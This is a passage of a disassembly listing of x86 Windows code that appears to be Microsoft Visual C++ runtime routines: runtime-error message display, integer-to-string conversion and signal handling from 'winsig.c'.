ebp, [ebx+10h] push esi push ebx call sub_41F8D2 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41F966 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_42CA8B: ; CODE XREF: sub_42CA04+40j ; sub_42CA04+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_42CA37 ; --------------------------------------------------------------------------- loc_42CA96: ; CODE XREF: sub_42CA04+54j mov eax, 0 jmp short loc_42CAB9 ; --------------------------------------------------------------------------- loc_42CA9D: ; CODE XREF: sub_42CA04+36j mov eax, 1 jmp short loc_42CAB9 ; --------------------------------------------------------------------------- loc_42CAA4: ; CODE XREF: sub_42CA04+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41F8D2 add esp, 8 pop ebp mov eax, 1 loc_42CAB9: ; CODE XREF: sub_42CA04+97j ; sub_42CA04+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42CA04 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41F8D2 add esp, 8 pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CAE0 proc near ; CODE XREF: sub_420CA0+Cp ; sub_420CD0+Cp push ebp mov ebp, esp cmp ds:dword_4EE9DC, 1 jz short loc_42CAFE cmp ds:dword_4EE9DC, 0 jnz short loc_42CB27 cmp ds:dword_44FD34, 1 jnz short loc_42CB27 loc_42CAFE: ; CODE XREF: sub_42CAE0+Aj push 0FCh call sub_42CB30 add esp, 4 cmp ds:dword_4EEB94, 0 jz short loc_42CB1A call ds:dword_4EEB94 loc_42CB1A: ; CODE XREF: sub_42CAE0+32j push 0FFh call sub_42CB30 add esp, 4 loc_42CB27: ; CODE XREF: sub_42CAE0+13j ; sub_42CAE0+1Cj pop ebp retn sub_42CAE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CB30 proc near ; CODE XREF: sub_420CA0+15p ; sub_420CD0+15p ... var_1B0 = byte ptr -1B0h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi push edi mov [ebp+var_8], 0 jmp short loc_42CB4E ; --------------------------------------------------------------------------- loc_42CB45: ; CODE XREF: sub_42CB30:loc_42CB65j mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_42CB4E: ; CODE XREF: sub_42CB30+13j cmp [ebp+var_8], 12h jnb short loc_42CB67 mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] cmp edx, ds:dword_450600[ecx*8] jnz short loc_42CB65 jmp short loc_42CB67 ; --------------------------------------------------------------------------- loc_42CB65: ; CODE XREF: sub_42CB30+31j jmp short loc_42CB45 ; --------------------------------------------------------------------------- loc_42CB67: ; CODE XREF: sub_42CB30+22j ; sub_42CB30+33j mov eax, [ebp+var_8] mov ecx, [ebp+arg_0] cmp ecx, ds:dword_450600[eax*8] jnz loc_42CCE8 cmp [ebp+arg_0], 0FCh jz short loc_42CBA4 mov edx, [ebp+var_8] mov eax, ds:off_450604[edx*8] push eax push 0 push 0 push 0 push 1 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_42CBA4 int 3 ; Trap to Debugger loc_42CBA4: ; CODE XREF: sub_42CB30+51j ; sub_42CB30+71j cmp ds:dword_4EE9DC, 1 jz short loc_42CBBF cmp ds:dword_4EE9DC, 0 jnz short loc_42CBF8 cmp ds:dword_44FD34, 1 jnz short loc_42CBF8 loc_42CBBF: ; CODE XREF: sub_42CB30+7Bj push 0 lea ecx, [ebp+var_4] push ecx mov edx, [ebp+var_8] mov eax, ds:off_450604[edx*8] push eax call sub_41AC70 add esp, 4 push eax mov ecx, [ebp+var_8] mov edx, ds:off_450604[ecx*8] push edx push 0FFFFFFF4h call near ptr 3D0000h and edx, [eax-18h] push cs xor al, 0FAh jmp fword ptr [ebx] ; --------------------------------------------------------------------------- jmp loc_42CCE8 ; --------------------------------------------------------------------------- loc_42CBF8: ; CODE XREF: sub_42CB30+84j ; sub_42CB30+8Dj cmp [ebp+arg_0], 0FCh jz loc_42CCE8 push 104h lea eax, [ebp+var_110] push eax push 0 call near ptr 3D0000h dec ecx test eax, eax jnz short loc_42CC31 push offset aProgramNameUnk ; "<program name unknown>" lea ecx, [ebp+var_110] push ecx call sub_41E550 add esp, 8 loc_42CC31: ; CODE XREF: sub_42CB30+EBj lea edx, [ebp+var_110] mov [ebp+var_C], edx mov eax, [ebp+var_C] push eax call sub_41AC70 add esp, 4 add eax, 1 cmp eax, 3Ch jbe short loc_42CC7A lea ecx, [ebp+var_110] push ecx call sub_41AC70 add esp, 4 mov edx, [ebp+var_C] lea eax, [edx+eax-3Bh] mov [ebp+var_C], eax push 3 push offset a___ ; "..." mov ecx, [ebp+var_C] push ecx call sub_41D800 add esp, 0Ch loc_42CC7A: ; CODE XREF: sub_42CB30+11Cj push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " lea edx, [ebp+var_1B0] push edx call sub_41E550 add esp, 8 mov eax, [ebp+var_C] push eax lea ecx, [ebp+var_1B0] push ecx call sub_41E560 add esp, 8 push offset asc_439EA0 ; "\n\n" lea edx, [ebp+var_1B0] push edx call sub_41E560 add esp, 8 mov eax, [ebp+var_8] mov ecx, ds:off_450604[eax*8] push ecx lea edx, [ebp+var_1B0] push edx call sub_41E560 add esp, 8 push 12010h push offset aMicrosoftVis_0 ; "Microsoft Visual C++ Runtime Library" lea eax, [ebp+var_1B0] push eax call sub_42D5C0 add esp, 0Ch loc_42CCE8: ; CODE XREF: sub_42CB30+44j ; sub_42CB30+C3j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42CB30 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov dword ptr [ebp-4], 0 jmp short loc_42CD06 ; --------------------------------------------------------------------------- loc_42CCFD: ; CODE XREF: seg000:loc_42CD1Dj mov eax, [ebp-4] add eax, 1 mov [ebp-4], eax loc_42CD06: ; CODE XREF: seg000:0042CCFBj cmp dword ptr [ebp-4], 12h jnb short loc_42CD1F mov ecx, [ebp-4] mov edx, [ebp+8] cmp edx, ds:dword_450600[ecx*8] jnz short loc_42CD1D jmp short loc_42CD1F ; --------------------------------------------------------------------------- loc_42CD1D: ; CODE XREF: seg000:0042CD19j jmp short loc_42CCFD ; --------------------------------------------------------------------------- loc_42CD1F: ; CODE XREF: seg000:0042CD0Aj ; seg000:0042CD1Bj mov eax, [ebp-4] mov ecx, [ebp+8] cmp ecx, ds:dword_450600[eax*8] jnz short loc_42CD3A mov edx, [ebp-4] mov eax, ds:off_450604[edx*8] jmp short loc_42CD3C ; --------------------------------------------------------------------------- loc_42CD3A: ; CODE XREF: seg000:0042CD2Cj xor eax, eax loc_42CD3C: ; CODE XREF: seg000:0042CD38j mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CD40 proc near ; CODE XREF: seg000:0042112Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0Ah jnz short loc_42CD67 cmp [ebp+arg_0], 0 jge short loc_42CD67 push 1 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42CD90 add esp, 10h jmp short loc_42CD7D ; --------------------------------------------------------------------------- loc_42CD67: ; CODE XREF: sub_42CD40+7j ; sub_42CD40+Dj push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42CD90 add esp, 10h loc_42CD7D: ; CODE XREF: sub_42CD40+25j mov eax, [ebp+arg_4] pop ebp retn sub_42CD40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CD90 proc near ; CODE XREF: sub_42CD40+1Dp ; sub_42CD40+35p ... var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+arg_C], 0 jz short loc_42CDB9 mov ecx, [ebp+var_4] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_0] neg eax mov [ebp+arg_0], eax loc_42CDB9: ; CODE XREF: sub_42CD90+10j mov ecx, [ebp+var_4] mov [ebp+var_8], ecx loc_42CDBF: ; CODE XREF: sub_42CD90+79j mov eax, [ebp+arg_0] xor edx, edx div [ebp+arg_8] mov [ebp+var_C], edx mov eax, [ebp+arg_0] xor edx, edx div [ebp+arg_8] mov [ebp+arg_0], eax cmp [ebp+var_C], 9 jbe short loc_42CDF1 mov edx, [ebp+var_C] add edx, 57h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_42CE05 ; --------------------------------------------------------------------------- loc_42CDF1: ; CODE XREF: sub_42CD90+49j mov edx, [ebp+var_C] add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42CE05: ; CODE XREF: sub_42CD90+5Fj cmp [ebp+arg_0], 0 ja short loc_42CDBF mov edx, [ebp+var_4] mov byte ptr [edx], 0 mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_42CE1A: ; CODE XREF: sub_42CD90+BCj mov ecx, [ebp+var_4] mov dl, [ecx] mov [ebp+var_10], dl mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_8] mov cl, [ebp+var_10] mov [eax], cl mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp ecx, [ebp+var_4] jb short loc_42CE1A mov esp, ebp pop ebp retn sub_42CD90 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+10h], 0Ah jnz short loc_42CE79 cmp dword ptr [ebp+8], 0 jge short loc_42CE79 mov dword ptr [ebp-4], 1 jmp short loc_42CE80 ; --------------------------------------------------------------------------- loc_42CE79: ; CODE XREF: seg000:0042CE68j ; seg000:0042CE6Ej mov dword ptr [ebp-4], 0 loc_42CE80: ; CODE XREF: seg000:0042CE77j mov eax, [ebp-4] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_42CD90 add esp, 10h mov eax, [ebp+0Ch] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+10h] push eax mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_42CD90 add esp, 10h mov eax, [ebp+0Ch] pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+14h], 0Ah jnz short loc_42CEE1 cmp dword ptr [ebp+0Ch], 0 jg short loc_42CEE1 jl short loc_42CED8 cmp dword ptr [ebp+8], 0 jnb short loc_42CEE1 loc_42CED8: ; CODE XREF: seg000:0042CED0j mov dword ptr [ebp-4], 1 jmp short loc_42CEE8 ; --------------------------------------------------------------------------- loc_42CEE1: ; CODE XREF: seg000:0042CEC8j ; seg000:0042CECEj ... mov dword ptr [ebp-4], 0 loc_42CEE8: ; CODE XREF: seg000:0042CEDFj mov eax, [ebp-4] push eax mov ecx, [ebp+14h] push ecx mov edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_42CF10 mov eax, [ebp+10h] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CF10 proc near ; CODE XREF: seg000:0042CEFCp ; seg000:0042D025p var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_8] mov [ebp+var_4], eax cmp [ebp+arg_10], 0 jz short loc_42CF44 mov ecx, [ebp+var_4] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_0] neg eax mov ecx, [ebp+arg_4] adc ecx, 0 neg ecx mov [ebp+arg_0], eax mov [ebp+arg_4], ecx loc_42CF44: ; CODE XREF: sub_42CF10+10j mov edx, [ebp+var_4] mov [ebp+var_8], edx loc_42CF4A: ; CODE XREF: sub_42CF10+9Fj ; sub_42CF10+A7j mov eax, [ebp+arg_C] xor ecx, ecx push ecx push eax mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_420430 mov [ebp+var_C], eax mov ecx, [ebp+arg_C] xor edx, edx push edx push ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4203C0 mov [ebp+arg_0], eax mov [ebp+arg_4], edx cmp [ebp+var_C], 9 jbe short loc_42CF97 mov edx, [ebp+var_C] add edx, 57h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_42CFAB ; --------------------------------------------------------------------------- loc_42CF97: ; CODE XREF: sub_42CF10+6Fj mov edx, [ebp+var_C] add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42CFAB: ; CODE XREF: sub_42CF10+85j cmp [ebp+arg_4], 0 ja short loc_42CF4A jb short loc_42CFB9 cmp [ebp+arg_0], 0 ja short loc_42CF4A loc_42CFB9: ; CODE XREF: sub_42CF10+A1j mov edx, [ebp+var_4] mov byte ptr [edx], 0 mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_42CFC8: ; CODE XREF: sub_42CF10+EAj mov ecx, [ebp+var_4] mov dl, [ecx] mov [ebp+var_10], dl mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_8] mov cl, [ebp+var_10] mov [eax], cl mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp ecx, [ebp+var_4] jb short loc_42CFC8 mov esp, ebp pop ebp retn 14h sub_42CF10 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_42CF10 mov eax, [ebp+10h] pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 10h push esi cmp dword ptr [ebp+0Ch], 4 jz short loc_42D043 cmp dword ptr [ebp+0Ch], 3 jnz short loc_42D048 loc_42D043: ; CODE XREF: seg000:0042D03Bj jmp loc_42D218 ; --------------------------------------------------------------------------- loc_42D048: ; CODE XREF: seg000:0042D041j cmp dword ptr [ebp+8], 2 jz short loc_42D064 cmp dword ptr [ebp+8], 15h jz short loc_42D064 cmp dword ptr [ebp+8], 16h jz short loc_42D064 cmp dword ptr [ebp+8], 0Fh jnz loc_42D141 loc_42D064: ; CODE XREF: seg000:0042D04Cj ; seg000:0042D052j ... push 1 call sub_421A80 add esp, 4 cmp dword ptr [ebp+8], 2 jz short loc_42D07A cmp dword ptr [ebp+8], 15h jnz short loc_42D0BF loc_42D07A: ; CODE XREF: seg000:0042D072j cmp ds:dword_4EEBA8, 0 jnz short loc_42D0BF push 1 push offset sub_42D260 call near ptr 3D0000h push edx cmp eax, 1 jnz short loc_42D0A1 mov ds:dword_4EEBA8, 1 jmp short loc_42D0BF ; --------------------------------------------------------------------------- loc_42D0A1: ; CODE XREF: seg000:0042D093j call ds:dword_4F1310 ; RtlGetLastWin32Error mov esi, eax call sub_4267F0 mov [eax], esi push 1 call sub_421B20 add esp, 4 jmp loc_42D218 ; --------------------------------------------------------------------------- loc_42D0BF: ; CODE XREF: seg000:0042D078j ; seg000:0042D081j ... mov eax, [ebp+8] mov [ebp-10h], eax mov ecx, [ebp-10h] sub ecx, 2 mov [ebp-10h], ecx cmp dword ptr [ebp-10h], 14h ja short loc_42D132 mov eax, [ebp-10h] xor edx, edx mov dl, ds:byte_42D23F[eax] jmp ds:off_42D22B[edx*4] loc_42D0E6: ; DATA XREF: seg000:off_42D22Bo mov ecx, ds:dword_4EEB98 mov [ebp-0Ch], ecx mov edx, [ebp+0Ch] mov ds:dword_4EEB98, edx jmp short loc_42D132 ; --------------------------------------------------------------------------- loc_42D0FA: ; CODE XREF: seg000:0042D0DFj ; DATA XREF: seg000:0042D233o mov eax, ds:dword_4EEB9C mov [ebp-0Ch], eax mov ecx, [ebp+0Ch] mov ds:dword_4EEB9C, ecx jmp short loc_42D132 ; --------------------------------------------------------------------------- loc_42D10D: ; CODE XREF: seg000:0042D0DFj ; DATA XREF: seg000:0042D237o mov edx, ds:dword_4EEBA0 mov [ebp-0Ch], edx mov eax, [ebp+0Ch] mov ds:dword_4EEBA0, eax jmp short loc_42D132 ; --------------------------------------------------------------------------- loc_42D120: ; CODE XREF: seg000:0042D0DFj ; DATA XREF: seg000:0042D22Fo mov ecx, ds:dword_4EEBA4 mov [ebp-0Ch], ecx mov edx, [ebp+0Ch] mov ds:dword_4EEBA4, edx loc_42D132: ; CODE XREF: seg000:0042D0D2j ; seg000:0042D0DFj ... push 1 call sub_421B20 add esp, 4 jmp loc_42D213 ; --------------------------------------------------------------------------- loc_42D141: ; CODE XREF: seg000:0042D05Ej cmp dword ptr [ebp+8], 8 jz short loc_42D158 cmp dword ptr [ebp+8], 4 jz short loc_42D158 cmp dword ptr [ebp+8], 0Bh jz short loc_42D158 jmp loc_42D218 ; --------------------------------------------------------------------------- loc_42D158: ; CODE XREF: seg000:0042D145j ; seg000:0042D14Bj ... call sub_425C30 mov [ebp-4], eax mov eax, [ebp-4] cmp dword ptr [eax+50h], offset dword_450578 jnz short loc_42D1B5 push 133h push offset aWinsig_c ; "winsig.c" push 2 mov ecx, ds:dword_4505F8 push ecx call sub_41AE60 add esp, 10h mov edx, [ebp-4] mov [edx+50h], eax mov eax, [ebp-4] cmp dword ptr [eax+50h], 0 jz short loc_42D1B3 mov ecx, ds:dword_4505F8 push ecx push offset dword_450578 mov edx, [ebp-4] mov eax, [edx+50h] push eax call sub_41E840 add esp, 0Ch jmp short loc_42D1B5 ; --------------------------------------------------------------------------- loc_42D1B3: ; CODE XREF: seg000:0042D194j jmp short loc_42D218 ; --------------------------------------------------------------------------- loc_42D1B5: ; CODE XREF: seg000:0042D16Aj ; seg000:0042D1B1j mov ecx, [ebp-4] mov edx, [ecx+50h] push edx mov eax, [ebp+8] push eax call sub_42D540 add esp, 8 mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jnz short loc_42D1D3 jmp short loc_42D218 ; --------------------------------------------------------------------------- loc_42D1D3: ; CODE XREF: seg000:0042D1CFj mov ecx, [ebp-8] mov edx, [ecx+8] mov [ebp-0Ch], edx loc_42D1DC: ; CODE XREF: seg000:loc_42D211j mov eax, [ebp-8] mov ecx, [eax+4] cmp ecx, [ebp+8] jnz short loc_42D213 mov edx, [ebp-8] mov eax, [ebp+0Ch] mov [edx+8], eax mov ecx, [ebp-8] add ecx, 0Ch mov [ebp-8], ecx mov edx, ds:dword_4505FC imul edx, 0Ch mov eax, [ebp-4] mov ecx, [eax+50h] add ecx, edx cmp [ebp-8], ecx jb short loc_42D211 jmp short loc_42D213 ; --------------------------------------------------------------------------- loc_42D211: ; CODE XREF: seg000:0042D20Dj jmp short loc_42D1DC ; --------------------------------------------------------------------------- loc_42D213: ; CODE XREF: seg000:0042D13Cj ; seg000:0042D1E5j ... mov eax, [ebp-0Ch] jmp short loc_42D226 ; --------------------------------------------------------------------------- loc_42D218: ; CODE XREF: seg000:loc_42D043j ; seg000:0042D0BAj ... call sub_4267E0 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh loc_42D226: ; CODE XREF: seg000:0042D216j pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- off_42D22B dd offset loc_42D0E6 ; DATA XREF: seg000:0042D0DFr dd offset loc_42D120 dd offset loc_42D0FA dd offset loc_42D10D dd offset loc_42D132 byte_42D23F db 0 ; DATA XREF: seg000:0042D0D9r dd 3 dup(4040404h), 4040401h, 3020404h, 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D260 proc near ; DATA XREF: seg000:0042D085o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push 1 call sub_421A80 add esp, 4 cmp [ebp+arg_0], 0 jnz short loc_42D28E mov [ebp+var_8], offset dword_4EEB98 mov eax, [ebp+var_8] mov ecx, [eax] mov [ebp+var_C], ecx mov [ebp+var_4], 2 jmp short loc_42D2A4 ; --------------------------------------------------------------------------- loc_42D28E: ; CODE XREF: sub_42D260+14j mov [ebp+var_8], offset dword_4EEB9C mov edx, [ebp+var_8] mov eax, [edx] mov [ebp+var_C], eax mov [ebp+var_4], 15h loc_42D2A4: ; CODE XREF: sub_42D260+2Cj cmp [ebp+var_C], 0 jnz short loc_42D2B8 push 1 call sub_421B20 add esp, 4 xor eax, eax jmp short loc_42D2EC ; --------------------------------------------------------------------------- loc_42D2B8: ; CODE XREF: sub_42D260+48j cmp [ebp+var_C], 1 jz short loc_42D2DD mov ecx, [ebp+var_8] mov dword ptr [ecx], 0 push 1 call sub_421B20 add esp, 4 mov edx, [ebp+var_4] push edx call [ebp+var_C] add esp, 4 jmp short loc_42D2E7 ; --------------------------------------------------------------------------- loc_42D2DD: ; CODE XREF: sub_42D260+5Cj push 1 call sub_421B20 add esp, 4 loc_42D2E7: ; CODE XREF: sub_42D260+7Bj mov eax, 1 loc_42D2EC: ; CODE XREF: sub_42D260+56j mov esp, ebp pop ebp retn 4 sub_42D260 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D300 proc near ; CODE XREF: sub_4211A0+2E7p ; sub_430780+Fp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h mov [ebp+var_C], 0 mov eax, [ebp+arg_0] mov [ebp+var_20], eax mov ecx, [ebp+var_20] sub ecx, 2 mov [ebp+var_20], ecx cmp [ebp+var_20], 14h ja loc_42D3CE mov eax, [ebp+var_20] xor edx, edx mov dl, ds:byte_42D522[eax] jmp ds:off_42D50A[edx*4] loc_42D338: ; DATA XREF: seg000:off_42D50Ao mov [ebp+var_18], offset dword_4EEB98 mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp loc_42D3D6 ; --------------------------------------------------------------------------- loc_42D355: ; CODE XREF: sub_42D300+31j ; DATA XREF: seg000:0042D516o mov [ebp+var_18], offset dword_4EEB9C mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_42D3D6 ; --------------------------------------------------------------------------- loc_42D36F: ; CODE XREF: sub_42D300+31j ; DATA XREF: seg000:0042D51Ao mov [ebp+var_18], offset dword_4EEBA0 mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_42D3D6 ; --------------------------------------------------------------------------- loc_42D389: ; CODE XREF: sub_42D300+31j ; DATA XREF: seg000:0042D512o mov [ebp+var_18], offset dword_4EEBA4 mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_42D3D6 ; --------------------------------------------------------------------------- loc_42D3A3: ; CODE XREF: sub_42D300+31j ; DATA XREF: seg000:0042D50Eo call sub_425C30 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov edx, [ecx+50h] push edx mov eax, [ebp+arg_0] push eax call sub_42D540 add esp, 8 add eax, 8 mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx jmp short loc_42D3D6 ; --------------------------------------------------------------------------- loc_42D3CE: ; CODE XREF: sub_42D300+20j ; sub_42D300+31j ; DATA XREF: ... or eax, 0FFFFFFFFh jmp loc_42D506 ; --------------------------------------------------------------------------- loc_42D3D6: ; CODE XREF: sub_42D300+50j ; sub_42D300+6Dj ... cmp [ebp+var_C], 0 jz short loc_42D3E6 push 1 call sub_421A80 add esp, 4 loc_42D3E6: ; CODE XREF: sub_42D300+DAj cmp [ebp+var_1C], 1 jnz short loc_42D403 cmp [ebp+var_C], 0 jz short loc_42D3FC push 1 call sub_421B20 add esp, 4 loc_42D3FC: ; CODE XREF: sub_42D300+F0j xor eax, eax jmp loc_42D506 ; --------------------------------------------------------------------------- loc_42D403: ; CODE XREF: sub_42D300+EAj cmp [ebp+var_1C], 0 jnz short loc_42D420 cmp [ebp+var_C], 0 jz short loc_42D419 push 1 call sub_421B20 add esp, 4 loc_42D419: ; CODE XREF: sub_42D300+10Dj push 3 call sub_41D9F0 loc_42D420: ; CODE XREF: sub_42D300+107j cmp [ebp+arg_0], 8 jz short loc_42D432 cmp [ebp+arg_0], 0Bh jz short loc_42D432 cmp [ebp+arg_0], 4 jnz short loc_42D45E loc_42D432: ; CODE XREF: sub_42D300+124j ; sub_42D300+12Aj mov eax, [ebp+var_4] mov ecx, [eax+54h] mov [ebp+var_14], ecx mov edx, [ebp+var_4] mov dword ptr [edx+54h], 0 cmp [ebp+arg_0], 8 jnz short loc_42D45E mov eax, [ebp+var_4] mov ecx, [eax+58h] mov [ebp+var_8], ecx mov edx, [ebp+var_4] mov dword ptr [edx+58h], 8Ch loc_42D45E: ; CODE XREF: sub_42D300+130j ; sub_42D300+149j cmp [ebp+arg_0], 8 jnz short loc_42D4A0 mov eax, ds:dword_4505F0 mov [ebp+var_10], eax jmp short loc_42D477 ; --------------------------------------------------------------------------- loc_42D46E: ; CODE XREF: sub_42D300+19Cj mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_42D477: ; CODE XREF: sub_42D300+16Cj mov edx, ds:dword_4505F0 add edx, ds:dword_4505F4 cmp [ebp+var_10], edx jge short loc_42D49E mov eax, [ebp+var_10] imul eax, 0Ch mov ecx, [ebp+var_4] mov edx, [ecx+50h] mov dword ptr [edx+eax+8], 0 jmp short loc_42D46E ; --------------------------------------------------------------------------- loc_42D49E: ; CODE XREF: sub_42D300+186j jmp short loc_42D4A9 ; --------------------------------------------------------------------------- loc_42D4A0: ; CODE XREF: sub_42D300+162j mov eax, [ebp+var_18] mov dword ptr [eax], 0 loc_42D4A9: ; CODE XREF: sub_42D300:loc_42D49Ej cmp [ebp+var_C], 0 jz short loc_42D4B9 push 1 call sub_421B20 add esp, 4 loc_42D4B9: ; CODE XREF: sub_42D300+1ADj cmp [ebp+arg_0], 8 jnz short loc_42D4D0 mov ecx, [ebp+var_4] mov edx, [ecx+58h] push edx push 8 call [ebp+var_1C] add esp, 8 jmp short loc_42D4DA ; --------------------------------------------------------------------------- loc_42D4D0: ; CODE XREF: sub_42D300+1BDj mov eax, [ebp+arg_0] push eax call [ebp+var_1C] add esp, 4 loc_42D4DA: ; CODE XREF: sub_42D300+1CEj cmp [ebp+arg_0], 8 jz short loc_42D4EC cmp [ebp+arg_0], 0Bh jz short loc_42D4EC cmp [ebp+arg_0], 4 jnz short loc_42D504 loc_42D4EC: ; CODE XREF: sub_42D300+1DEj ; sub_42D300+1E4j mov ecx, [ebp+var_4] mov edx, [ebp+var_14] mov [ecx+54h], edx cmp [ebp+arg_0], 8 jnz short loc_42D504 mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+58h], ecx loc_42D504: ; CODE XREF: sub_42D300+1EAj ; sub_42D300+1F9j xor eax, eax loc_42D506: ; CODE XREF: sub_42D300+D1j ; sub_42D300+FEj mov esp, ebp pop ebp retn sub_42D300 endp ; sp-analysis failed ; --------------------------------------------------------------------------- off_42D50A dd offset loc_42D338 ; DATA XREF: sub_42D300+31r dd offset loc_42D3A3 dd offset loc_42D389 dd offset loc_42D355 dd offset loc_42D36F dd offset loc_42D3CE byte_42D522 db 0 ; DATA XREF: sub_42D300+2Br db 5 dd 5050501h, 1050501h, 2050505h, 5050505h, 0CC040305h dd 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D540 proc near ; CODE XREF: seg000:0042D1C0p ; sub_42D300+B6p 